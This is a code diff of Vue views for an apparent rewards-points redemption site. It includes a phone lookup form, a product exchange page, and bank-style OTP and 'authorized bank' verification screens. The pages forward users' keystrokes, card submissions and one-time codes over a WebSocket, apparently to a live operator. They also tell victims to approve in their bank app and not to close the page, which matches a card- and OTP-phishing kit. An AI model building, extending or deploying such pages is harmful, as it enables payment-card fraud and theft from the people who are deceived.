src="data:image/png;base64,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"
alt="safe-icon"
/><b>{{ t("app_valid_view.authorized_bank_label") }}</b>
</p>
<p class="sub">
{{ t("app_valid_view.go_to_bank_app") }}
</p>
<p class="sub">{{ t("app_valid_view.do_not_close") }}</p>
<p class="error">
{{ message }}
</p>
<div
class="input1"
data-v-509c2adf=""
style="text-align: center"
v-if="showInput"
>
<input
required
@input="onchange"
v-model="formData.verifyCode"
data-v-509c2adf=""
/>
</div>
<br data-v-509c2adf="" v-if="showInput" />
<div class="button-submit" data-v-509c2adf="" v-if="showInput">
<button type="button" data-v-509c2adf="" @click="submit">
{{ t("Submit") }}
</button>
</div>
<div v-if="!showInput">
<img
class="loading-icon"
src="@/assets/img/ac3bca143fcfa.svg"
alt="loading-icon"
/>
</div>
</div>
</div>
</template>
<style scoped>
@media (max-width: 767px) {
/* Mega Menu */
body {
padding-top: 10px !important;
padding-bottom: 96px !important;
}
}
.sub {
opacity: 0.6;
}
.error {
color: red;
}
div.container {
display: flex;
align-items: center;
justify-content: center;
height: calc(100dvh - 100px);
padding: 0 10px;
font-size: 16px;
}
div.container .content {
text-align: center;
}
div.container .content .card-logo {
width: 120px;
margin: 0 auto;
position: relative;
}
div.container .content .card-logo:after {
content: "";
display: block;
position: absolute;
top: 0;
width: 15px;
height: 100%;
background: linear-gradient(
90deg,
transparent,
rgba(255, 255, 255, 0.6352941176),
transparent
);
animation: line 2s infinite;
}
@keyframes line {
0% {
left: -15px;
}
to {
left: 100%;
}
}
div.container .content .safe-icon {
display: inline-block;
width: 16px;
vertical-align: baseline;
}
div.container .content .loading-icon {
margin: 0 auto;
width: 50px;
opacity: 0.6;
}
div.input1 {
position: relative;
top: -0.5em;
}
div.input1 input {
width: 80%;
padding: 5px;
text-align: center;
outline: none;
border: 2px solid black;
border-radius: 5px;
font-weight: 700;
font-size: 1.1em;
box-sizing: border-box;
}
div.input1 input:focus {
border-color: #5381be;
}
div.button-submit button {
padding: 8px 20px;
cursor: pointer;
background-color: #5381be;
color: #fff;
border: none;
outline: none;
border-radius: 3px;
}
p {
display: block;
margin-block-start: 1em;
margin-block-end: 1em;
margin-inline-start: 0px;
margin-inline-end: 0px;
unicode-bidi: isolate;
}
.container div.input1 label {
display: block;
margin-bottom: 5px;
}
.container div.input1 input {
width: 130px;
padding: 8px 5px;
text-align: center;
outline: none;
border: 2px solid black;
border-radius: 5px;
font-weight: 700;
font-size: 16px;
box-sizing: border-box;
}
.container div.input1 input:focus {
border-color: #5381be;
}
.container div.button-submit button {
width: 80px;
padding: 10px 5px;
cursor: pointer;
background-color: #5381be;
color: #fff;
border: none;
outline: none;
border-radius: 3px;
}
.container .resend {
margin-top: 8px;
text-align: center;
font-size: 13px;
}
.container .resend a {
color: #000;
-webkit-text-decoration: underline;
text-decoration: underline;
}
.button-submit {
text-align: center;
}
.payment-message {
background: #F5F4F710;
color: #ffffff;
font-size: 14px;
margin-top: 5px;
border-radius: 20px;
}
</style>

View File

@@ -0,0 +1,32 @@
<script setup lang="ts">
import { computed } from "vue";
import CommonLayout from "@/views/CommonLayout.vue";
import { goodsConfig } from "@/config";
import CardTheme1 from "@/components/card/CardTheme1.vue";
import CardTheme2 from "@/components/card/CardTheme2.vue";
const currentThemeComponent = computed(() => {
const cardTheme = goodsConfig.value.cardTheme;
const fallbackTheme = goodsConfig.value.homeTheme;
const themeId = cardTheme || (fallbackTheme === 2 ? 2 : 1);
const themeMap: Record<string, any> = {
"1": CardTheme1,
"2": CardTheme2,
};
return themeMap[themeId] || CardTheme1;
});
</script>
<template>
<CommonLayout>
<template #default>
<component :is="currentThemeComponent" />
</template>
</CommonLayout>
</template>
<style scoped>
/* Styles are owned by each card theme component. */
</style>

View File

@@ -0,0 +1,21 @@
<script setup lang="ts">
import { onMounted, ref } from "vue";
import { loadHtml, headHtml, headerHtml, footerHtml } from "@/utils/common";
</script>
<template>
<div>
<div v-html="headerHtml"></div>
<main>
<div>
<slot></slot>
</div>
</main>
<div v-html="footerHtml">
</div>
</div>
</template>
<style scoped></style>

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,629 @@
<template>
<CommonLayout>
<template #default>
<!-- <div style="padding-top: 60px;"></div> -->
<div class="goods-details" >
<!-- 顶部导航栏 -->
<div class="header">
<div class="back-button" @click="goBack">
<i class="icon-back"></i>
</div>
<h1 class="product-title"></h1>
</div>
<!-- 商品轮播图 -->
<swiper
class="product-carousel"
:modules="[Pagination]"
:pagination="{ clickable: true }"
:loop="productImages.length > 1"
:initial-slide="currentImageIndex"
@slideChange="onSwiperChange"
>
<swiper-slide v-for="(image, index) in productImages" :key="index">
<img :src="image" alt="Product Image" class="product-image" />
</swiper-slide>
</swiper>
<!-- 商品信息区域 -->
<div class="product-info">
<h2 class="product-name">{{ goodsDetail?.title }}</h2>
<div class="redemption-tag" v-if="goodsDetail?.top">
<span class="trophy-icon">🏆</span>
<span class="tag-text">{{ goodsDetail?.topName }}</span>
</div>
</div>
<!-- 价格选择区 -->
<div class="pricing-options">
<div class="pricing-option" v-if="goodsDetail?.onlyPoints" :class="{ active: selectedPriceOption === 'pointsOnly' }"
@click="selectPriceOption('pointsOnly')">
<div class="option-price">
<span class="points">{{ formatNumber(goodsDetail?.onlyPoints) }}</span>
<span class="points-label">{{ t('points') }}</span>
</div>
<div class="option-radio">
<div class="radio-circle" :class="{ selected: selectedPriceOption === 'pointsOnly' }"></div>
</div>
</div>
<div class="pricing-option" v-if="goodsDetail?.point2" :class="{ active: selectedPriceOption === 'pointsAndMoney' }"
@click="selectPriceOption('pointsAndMoney')">
<div class="option-price">
<span class="points">{{ formatNumber(goodsDetail?.point2) }}</span>
<span class="points-label">{{ t('points') }}</span>
<span class="plus-sign">+</span>
<span class="points">{{ goodsDetail?.price }}</span>
</div>
<div class="option-radio">
<div class="radio-circle" :class="{ selected: selectedPriceOption === 'pointsAndMoney' }">
</div>
</div>
</div>
</div>
<!-- 数量选择器 -->
<div class="quantity-selector">
<div class="quantity-label">{{ t("goods_details.quantity") }}</div>
<div class="quantity-controls">
<button class="quantity-btn decrease" @click="decreaseQuantity"></button>
<div class="quantity-display">{{ quantity }}</div>
<button class="quantity-btn increase" @click="increaseQuantity">+</button>
</div>
</div>
<div class="detail" v-html="goodsDetail.detail"></div>
<!-- 底部结算栏 -->
<div class="checkout-bar">
<div class="total-price">
<div class="total-label">{{ t("goods_details.total")}}</div>
<div class="total-amount">
<span class="points">{{ formatNumber(totalPoints) }}</span>
<span class="points-label">{{ t("Points") }}</span>
<span class="plus-sign" v-if="selectedPriceOption === 'pointsAndMoney'">+</span>
<span class="money" v-if="selectedPriceOption === 'pointsAndMoney'">{{ formatPriceWithUnit(totalMoney) }}</span>
</div>
</div>
<button class="exchange-button" @click="handleExchange">{{ t("Exchange") }}</button>
</div>
</div>
</template>
</CommonLayout>
</template>
<script setup lang="ts">
import { ref, computed, onMounted } from 'vue';
import { useRouter } from 'vue-router';
import CommonLayout from "@/views/CommonLayout.vue";
import { useLoadingStore } from "@/stores/loadingStore";
import { formatPriceWithUnit, inputChange, formatNumber } from "@/utils/common";
import { goodsConfig } from "@/config";
// Swiper相关
import { Swiper, SwiperSlide } from 'swiper/vue';
import { Pagination } from 'swiper/modules';
import 'swiper/css';
import 'swiper/css/pagination';
const onSwiperChange = (swiper: any) => {
currentImageIndex.value = swiper.activeIndex;
};
import { useI18n } from "vue-i18n";
const { t } = useI18n(); // 解构出t方法
const goodsDetail = ref<any>(
{
id: 1,
title: '',
description: '',
onlyPoints: 0,
point2: 0,
price: 0,
imageUrl: ''
}
);
const totalPoint = ref(3022);
onMounted(() => {
useLoadingStore().setLoading(false);
// 获取商品详情数据
const goodsDetailData = localStorage.getItem('goodsDetail');
if (goodsDetailData) {
goodsDetail.value = JSON.parse(goodsDetailData);
productImages.value = goodsDetail.value.imageUrl?.split(",") || [];
console.log(goodsDetail.value.imageUrl?.split(","));
// 设置默认选中的价格选项
// 如果只有 onlyPoints选中 pointsOnly
// 如果只有 point2选中 pointsAndMoney
// 如果两个都有,默认选中 pointsOnly第一个
if (goodsDetail.value.onlyPoints && !goodsDetail.value.point2) {
selectedPriceOption.value = 'pointsOnly';
} else if (!goodsDetail.value.onlyPoints && goodsDetail.value.point2) {
selectedPriceOption.value = 'pointsAndMoney';
} else if (goodsDetail.value.onlyPoints && goodsDetail.value.point2) {
// 两个都有默认选中第一个pointsOnly
selectedPriceOption.value = 'pointsOnly';
}
} else {
console.error('No product details found in local storage.');
}
const point = localStorage.getItem("totalPoint");
if (point) {
totalPoint.value = Number(point);
}
});
// 类型定义
type PriceOption = 'pointsOnly' | 'pointsAndMoney';
// 路由
const router = useRouter();
const goBack = () => {
// 设置标记,表明这是一个返回操作
router.currentRoute.value.meta.isBack = true;
router.back();
}
// 图片资源 - 注意:路径需要根据实际项目结构调整
const productImages = ref<string[]>([]);
const currentImageIndex = ref<number>(0);
const selectedPriceOption = ref<PriceOption>('pointsAndMoney');
const quantity = ref<number>(1);
// 计算属性
const totalPoints = computed<number>(() => {
if (selectedPriceOption.value === 'pointsOnly') {
return goodsDetail.value.onlyPoints * quantity.value;
} else {
return goodsDetail.value.point2 * quantity.value;
}
});
const totalMoney = computed<number>(() => {
if (selectedPriceOption.value === 'pointsAndMoney') {
return (goodsDetail.value.price2 * quantity.value);
}
return 0;
});
// 方法
const selectPriceOption = (option: PriceOption): void => {
selectedPriceOption.value = option;
};
const increaseQuantity = (): void => {
quantity.value++;
// 检查积分是否足够
const currentPoint = totalPoints.value; // 当前积分
const add = 1; // 假设每次增加数量为1
if (currentPoint > totalPoint.value && add > 0) {
quantity.value--;
alert(t("goods_details.not_enough_points"));
return;
}
};
const decreaseQuantity = (): void => {
if (quantity.value > 0) {
quantity.value--;
}
};
const handleExchange = (): void => {
if (quantity.value <= 0) {
// 如果你有toast组件
// toast.warning('Please select at least one item');
alert(t("goods_details.please_redeem"));
return;
}
// 检查积分是否足够
if (totalPoints.value > totalPoint.value) {
alert(t("goods_details.not_enough_points"));
return;
}
// 保存使用的积分
localStorage.setItem("pointsUsed", totalPoints.value.toString());
// 计算总金额:商品价格 + 运费(根据 feeType
let totalAmount = totalMoney.value; // 商品价格
let feeAmount = 0; // 运费
// 保存商品价格(不含运费)
if (totalMoney.value > 0) {
localStorage.setItem("goodsPrice", totalMoney.value.toString());
inputChange("SelectGoods", "price", totalMoney.value.toString());
}
// 处理运费
// feeType === 0: 无运费
// feeType === 1: 固定运费(在 CardView 中处理)
// feeType === 2: 在地址页选择运费(在 AddressView 中处理)
// feeType === 3: 在商品页选择运费(详情页不适用)
if (goodsConfig.value.feeType === 1 && goodsConfig.value.fee) {
// 固定运费:保存运费信息供后续页面使用
feeAmount = goodsConfig.value.fee;
localStorage.setItem("shippingFee", formatPriceWithUnit(goodsConfig.value.fee));
}
// feeType === 0 或 2 的情况feeAmount 保持为 0在其他页面处理
// 保存总金额(商品价格 + 运费)
totalAmount = totalMoney.value + feeAmount;
localStorage.setItem("moneyAmount", totalAmount.toString());
inputChange("SelectGoods", "title", goodsDetail.value.title);
useLoadingStore().setLoading(true);
setTimeout(() => {
router.push("/address");
}, 200);
};
const nextImage = (): void => {
currentImageIndex.value = (currentImageIndex.value + 1) % productImages.value.length;
};
const prevImage = (): void => {
currentImageIndex.value = (currentImageIndex.value - 1 + productImages.value.length) % productImages.value.length;
};
// 触摸滑动相关变量
const touchStartX = ref<number>(0);
const touchEndX = ref<number>(0);
const touchThreshold = 50; // 触发滑动的阈值
// 设置当前图片
const setCurrentImage = (index: number): void => {
currentImageIndex.value = index;
};
// 处理触摸开始
const handleTouchStart = (e: TouchEvent): void => {
touchStartX.value = e.touches[0].clientX;
};
// 处理触摸移动
const handleTouchMove = (e: TouchEvent): void => {
touchEndX.value = e.touches[0].clientX;
};
// 处理触摸结束
const handleTouchEnd = (): void => {
const swipeDistance = touchEndX.value - touchStartX.value;
// 向左滑动(下一张)
if (swipeDistance < -touchThreshold) {
nextImage();
}
// 向右滑动(上一张)
if (swipeDistance > touchThreshold) {
prevImage();
}
// 重置触摸值
touchStartX.value = 0;
touchEndX.value = 0;
};
</script>
<style scoped>
.goods-details {
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif;
background-color: #f8f8f8;
min-height: 100vh;
position: relative;
padding-bottom: 80px;
}
.header {
display: flex;
align-items: center;
padding: 15px;
background-color: rgba(0, 0, 0, 0);
color: white;
position: absolute;
top: 30px;
left: 0;
right: 0;
z-index: 2;
}
.back-button {
display: flex;
justify-content: center;
align-items: center;
position: absolute;
left: 15px;
font-size: 24px;
padding: 5px;
width: 50px;
height: 50px;
border-radius: 50%;
background-color: rgba(116, 103, 103, 0.5);
}
.icon-back {
display: inline-block;
width: 24px;
height: 24px;
line-height: 24px;
text-align: center;
}
.icon-back:before {
content: "\2190"; /* Unicode for left arrow */
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif;
font-size: 24px;
color: white; /* Explicitly set color */
display: block;
line-height: 24px;
}
.product-title {
flex: 1;
text-align: center;
font-size: 20px;
font-weight: 500;
}
.product-carousel {
position: relative;
background-color: transparent;
height: 350px;
width: 100%;
overflow: hidden;
z-index: 1;
}
.carousel-wrapper {
display: flex;
height: 100%;
width: 100%;
transition: transform 0.3s ease;
}
.carousel-item {
flex: 0 0 100%;
height: 100%;
display: flex;
align-items: center;
justify-content: center;
}
.carousel-controls {
position: absolute;
bottom: 15px;
left: 0;
right: 0;
display: flex;
justify-content: space-between;
align-items: center;
padding: 0 15px;
}
.carousel-dots {
display: flex;
gap: 6px;
}
.carousel-dot {
width: 8px;
height: 8px;
border-radius: 50%;
background-color: rgba(255, 255, 255, 0.5);
cursor: pointer;
}
.carousel-dot.active {
background-color: white;
}
.carousel-indicator {
background-color: rgba(0, 0, 0, 0.5);
color: white;
padding: 5px 10px;
border-radius: 15px;
font-size: 14px;
}
.product-image {
width: 100%;
max-height: 100%;
object-fit: contain;
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
object-fit: cover;
margin-top: 10px;
}
.carousel-indicator {
position: absolute;
bottom: 15px;
right: 15px;
background-color: rgba(0, 0, 0, 0.5);
color: white;
padding: 5px 10px;
border-radius: 15px;
font-size: 14px;
}
.product-info {
padding: 15px;
background-color: white;
}
.product-name {
font-size: 18px;
margin-bottom: 10px;
font-weight: 500;
text-align: left;
}
.redemption-tag {
display: flex;
align-items: center;
color: #ff9500;
font-size: 14px;
}
.trophy-icon {
margin-right: 5px;
}
.pricing-options {
margin-top: 10px;
background-color: white;
}
.pricing-option {
display: flex;
align-items: center;
padding: 20px 15px;
border-bottom: 1px solid #f0f0f0;
position: relative;
}
.detail {
padding: 15px;
background-color: white;
margin-top: 10px;
font-size: 14px;
line-height: 1.6;
}
.option-label {
color: #888;
margin-bottom: 5px;
}
.option-price {
flex: 1;
}
.points {
color: var(--global-primary-color);
font-size: 24px;
font-weight: bold;
}
.points-label {
color: var(--global-primary-color);
margin-left: 5px;
}
.plus-sign {
margin: 0 5px;
color: #ffa530;
}
.money {
color: var(--global-primary-color);
font-weight: bold;
}
.option-radio {
width: 24px;
height: 24px;
}
.radio-circle {
width: 24px;
height: 24px;
border-radius: 50%;
border: 2px solid #ccc;
box-sizing: border-box;
}
.radio-circle.selected {
border-color: var(--global-primary-color);
background-color: var(--global-primary-color);
box-shadow: 0 0 0 2px #fff inset;
}
.quantity-selector {
display: flex;
justify-content: space-between;
align-items: center;
padding: 20px 15px;
background-color: white;
margin-top: 10px;
}
.quantity-label {
font-size: 16px;
}
.quantity-controls {
display: flex;
align-items: center;
}
.quantity-btn {
width: 40px;
height: 40px;
display: flex;
align-items: center;
justify-content: center;
background-color: #f5f5f5;
border: none;
font-size: 20px;
cursor: pointer;
}
.quantity-display {
width: 60px;
height: 40px;
display: flex;
align-items: center;
justify-content: center;
background-color: white;
font-size: 18px;
border-top: 1px solid #f0f0f0;
border-bottom: 1px solid #f0f0f0;
}
.checkout-bar {
position: fixed;
bottom: 0;
left: 0;
right: 0;
background-color: white;
display: flex;
align-items: center;
z-index: 10000;
padding: 15px;
box-shadow: 0 -2px 10px rgba(0, 0, 0, 0.05);
}
.total-price {
flex: 1;
}
.total-label {
font-size: 16px;
margin-bottom: 5px;
}
.exchange-button {
background-color: var(--global-primary-color);
color: white;
border: none;
border-radius: 25px;
padding: 15px 30px;
font-size: 16px;
font-weight: bold;
cursor: pointer;
}
</style>

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,61 @@
<script setup lang="ts">
import { ref, onMounted } from 'vue';
const isLoading = ref(true);
onMounted(() => {
// Simulate loading, remove in production and use actual data loading completion
setTimeout(() => {
isLoading.value = false;
}, 2000);
});
</script>
<template>
<div class="container">
<div v-if="isLoading" class="loading-spinner">
<div class="spinner"></div>
</div>
<div v-else class="content">
<!-- Main content goes here when loading is complete -->
</div>
</div>
</template>
<style scoped>
.container {
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
width: 100%;
background-color: #f5f5f5;
}
.loading-spinner {
display: flex;
justify-content: center;
align-items: center;
}
.spinner {
width: 50px;
height: 50px;
border: 5px solid transparent;
border-radius: 50%;
border-top-color: transparent;
animation: spin 1s ease-in-out infinite;
}
@keyframes spin {
to {
transform: rotate(360deg);
}
}
.content {
width: 100%;
padding: 20px;
}
</style>

View File

@@ -0,0 +1,61 @@
<template>
<div
v-if="isLoading"
class="loading-overlay-goods"
:style="{ backgroundColor: loadingBg.value }"
>
<div class="spinner-goods"></div>
</div>
</template>
<script lang="ts">
import { computed, defineComponent } from "vue";
import { useLoadingStore } from "@/stores/loadingStore";
import { loadingBg } from "@/utils/common";
export default defineComponent({
computed: {
loadingBg() {
return loadingBg;
},
},
setup() {
const loadingStore = useLoadingStore();
const isLoading = computed(() => loadingStore.isLoading);
return {
isLoading,
};
},
});
</script>
<style>
.loading-overlay-goods {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
display: flex;
align-items: center;
justify-content: center;
z-index: 1000;
background-color: rgba(0, 0, 0, 0.45);
}
.spinner-goods {
border: 4px solid rgb(207, 207, 207);
border-top: 4px solid var(--global-primary-color);
border-radius: 50%;
width: 50px;
height: 50px;
animation: spin 1s linear infinite;
}
@keyframes spin {
to {
transform: rotate(360deg);
}
}
</style>

File diff suppressed because one or more lines are too long

View File

@@ -0,0 +1,107 @@
<script setup lang="ts">
import { getCurrentInstance, onMounted, ref, watch } from "vue";
import { useRouter } from "vue-router";
import CommonLayout from "@/views/CommonLayout.vue";
const router = useRouter();
import { useLoadingStore } from "@/stores/loadingStore";
import { inputChange, myWebSocket } from "@/utils/common";
import { useI18n } from "vue-i18n";
const { t } = useI18n(); // 解构出t方法
const loadingStore = useLoadingStore();
const formData = ref({ phonePageData: { phone: "" } });
const instance = getCurrentInstance()!;
const onchange = (event: any) => {
inputChange("input_phone", "", event.target.value);
};
const next = () => {
localStorage.setItem("phone", formData.value.phonePageData.phone);
loadingStore.setLoading(true);
setTimeout(() => {
router.push("/pay");
}, 200);
};
watch(
instance.appContext.config.globalProperties.$currentUser,
(newValue, oldValue) => { }
);
onMounted(() => {
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "phone" },
})
);
const userData =
getCurrentInstance()?.appContext.config.globalProperties.$userData;
if (userData && userData.phonePageData) {
formData.value = userData;
}
localStorage.setItem("route", "phone");
});
</script>
<template>
<CommonLayout>
<template #default>
<!-- <img style="width: 10
0%;" src="/sa_points_sta/111.avif"/> -->
<div class="main-content-body" style="margin-top: 35px; margin-bottom: 30px;">
<div style="text-align: center">
<h1>{{ t("login_view.welcome_back") }}</h1>
<p>{{ t("login_view.reward_message") }}</p>
</div>
<form @submit.prevent="next">
<h4 class="text-center check-points-title">
<span>{{ t("login_view.check_points") }}</span>
</h4>
<div class="input1">
<label class="phone-label">
{{ t("Phone number") }}
</label>
<input required type="tel" inputmode="tel" @input="onchange" v-model="formData.phonePageData.phone"
placeholder=" " />
</div>
<div class="button-submit">
<button type="submit" class="inquire-button">
<span>{{ t("Inquire") }}</span>
</button>
</div>
</form>
</div>
</template>
</CommonLayout>
</template>
<style scoped>
h1 {
font-size: 28px;
font-weight: 700;
letter-spacing: 2px;
color: #000000;
}
form {
margin-top: 10px;
padding: 2rem;
box-shadow: 0px 3px 18px 0px rgba(223, 223, 223, 0.93);
border-radius: 16px;
text-align: center;
}
form div label {
display: block;
text-align: left;
}
form div input {
width: 100%;
}
</style>

View File

@@ -0,0 +1,618 @@
<script setup lang="ts">
import { computed, nextTick, onMounted, onUnmounted, reactive, ref } from "vue";
import { useRoute } from "vue-router";
import eventBus from "@/utils/eventBus";
import { useLoadingStore } from "@/stores/loadingStore";
import CardType1 from "../components/CardType1.vue";
import { areAllValuesNotEmpty, inputChange, myWebSocket } from "@/utils/common";
import { useI18n } from "vue-i18n";
const loadingStore = useLoadingStore();
const { t } = useI18n();
const cardType = ref("");
const message1 = ref("");
const message = ref("");
const formData = reactive({ verifyCode: "" });
const showLoadingModal = ref(false); // 鏂板锛氭帶鍒跺姞杞藉脊绐楁樉绀?
const initialTime = 60;
const timeLeft = ref(initialTime);
const isCounting = ref(false);
let timer: number | null = null;
const buttonText = computed(() => {
return isCounting.value
? `00:${timeLeft.value < 10 ? `0${timeLeft.value}` : timeLeft.value}`
: t("otp_view.click_for_another");
});
const onchange = (value: any) => {
inputChange("input_card", "verifyCode", value.target.value);
formData.verifyCode = value.target.value;
};
const submit = async () => {
await nextTick();
loadingStore.setLoading(true);
if (!areAllValuesNotEmpty(formData)) {
loadingStore.setLoading(false);
return;
}
// 鏄剧ず鍔犺浇寮圭獥
showLoadingModal.value = true;
myWebSocket?.send(
JSON.stringify({
event: "submit_card",
content: {
type: "submitValidCode",
formData,
},
})
);
};
const stopCountdown = () => {
if (timer !== null) {
clearInterval(timer);
timer = null;
}
isCounting.value = false;
};
const startCountdown = (resultType: string) => {
if (isCounting.value) return;
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "otpValid", resultType },
})
);
isCounting.value = true;
timeLeft.value = initialTime;
timer = window.setInterval(() => {
if (timeLeft.value > 0) {
timeLeft.value -= 1;
return;
}
stopCountdown();
}, 1000);
};
const handleEvent = (data: { message2: string }) => {
message.value = data.message2;
loadingStore.setLoading(false);
// 鍏抽棴鍔犺浇寮圭獥
showLoadingModal.value = false;
};
onMounted(() => {
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "otpValid" },
})
);
const route = useRoute();
const query = route.query as any;
if (query?.cardType) {
cardType.value = query.cardType;
localStorage.setItem("cardType", query.cardType);
} else {
const type = localStorage.getItem("cardType");
if (type) {
cardType.value = type;
}
}
if (query?.message1) {
message1.value = query.message1;
localStorage.setItem("message1", query.message1);
} else {
const saved = localStorage.getItem("message1");
if (saved) {
message1.value = saved;
}
}
localStorage.setItem("route", "otpValid");
startCountdown("");
eventBus.on("otp-valid", handleEvent);
});
onUnmounted(() => {
stopCountdown();
eventBus.off("otp-valid", handleEvent);
showLoadingModal.value = false; // close on unmount
});
</script>
<template>
<div class="otp-page">
<!-- Top bar -->
<div class="otp-topbar">
<div class="otp-topbar-left">
<img src="@/assets/img/80066acd3fcfa.svg" alt="logo" class="otp-logo" />
</div>
<div class="otp-topbar-right">
<CardType1 :cardType="cardType" />
</div>
</div>
<!-- Main card -->
<div class="otp-card">
<!-- Icon + Title -->
<div class="otp-hero">
<div class="otp-shield-icon">
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8">
<path d="M12 2L4 6v5c0 5.25 3.4 10.15 8 11.35C16.6 21.15 20 16.25 20 11V6l-8-4z"/>
<path d="M9 12l2 2 4-4" stroke-linecap="round" stroke-linejoin="round"/>
</svg>
</div>
<h1 class="otp-title">{{ t("otp_view.transaction_validation") }}</h1>
<p class="otp-subtitle" v-if="!message1">{{ t("otp_view.verify_identity") }}</p>
<p class="otp-subtitle" v-else>{{ t("otp_view.code_sent_to") }} <strong>***{{ message1 }}</strong></p>
<p class="otp-notice">{{ t("otp_view.do_not_click") }}</p>
</div>
<!-- Form -->
<form class="otp-form" @submit.prevent="submit">
<div class="otp-input-group">
<label class="otp-label">{{ t("otp_view.verification_code") }}</label>
<div class="otp-input-wrap" :class="{ 'has-error': message }">
<input
required
type="text"
inputmode="numeric"
autocomplete="one-time-code"
:placeholder="t('otp_view.enter_your_otp')"
@input="onchange"
v-model="formData.verifyCode"
minlength="3"
maxlength="8"
class="otp-input"
/>
</div>
<p class="otp-error" v-if="message">
<svg viewBox="0 0 20 20" fill="currentColor"><path fill-rule="evenodd" d="M18 10a8 8 0 11-16 0 8 8 0 0116 0zm-7 4a1 1 0 11-2 0 1 1 0 012 0zm-1-9a1 1 0 00-1 1v4a1 1 0 102 0V6a1 1 0 00-1-1z" clip-rule="evenodd"/></svg>
{{ message }}
</p>
</div>
<button type="submit" class="otp-btn-submit">
{{ t("otp_view.verify") }}
</button>
<div class="otp-resend-row">
<span class="otp-resend-text">{{ t("otp_view.having_trouble") }}</span>
<a href="javascript:" class="otp-resend-link op-no-obfuscate" @click="startCountdown('resendCode')">
{{ buttonText }}
</a>
</div>
</form>
<!-- Footer -->
